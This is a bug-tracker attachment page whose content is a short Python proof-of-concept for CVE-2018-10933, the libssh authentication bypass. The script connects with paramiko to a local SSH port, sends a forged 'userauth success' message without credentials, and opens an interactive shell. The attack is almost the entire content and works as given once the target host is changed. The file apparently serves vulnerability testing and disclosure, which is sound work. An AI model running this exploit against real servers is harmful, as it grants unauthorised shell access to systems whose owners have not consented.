Attachment 10410 Details for Bug 23711 – PoC file for CVE-2018-10933

PoC file for CVE-2018-10933

10933.py (text/plain), 593 bytes, created by Len Lawrence on 2018-10-18 21:30:57 CEST

(hide)

Description:

Filename:

MIME Type:

Creator: Len Lawrence

Created: 2018-10-18 21:30:57 CEST

Size: 593 bytes

patch

obsolete

import paramiko
import socket
import sys

nbytes = 4096
hostname = "127.0.0.1"
port = 2222

sock = socket.socket()
try:
     sock.connect((hostname, port))
     # instantiate transport
     m = paramiko.message.Message()
     transport = paramiko.transport.Transport(sock)
     transport.start_client()

     m.add_byte(paramiko.common.cMSG_USERAUTH_SUCCESS)
     transport._send_message(m)

     cmd_channel = transport.open_session()
     cmd_channel.invoke_shell()

except socket.error:
     print '[-] Connecting to host failed. Please check the specified host and port.'
     sys.exit(1)

Actions: View

Attachments on bug 23711: 10410 | 10411 | 10451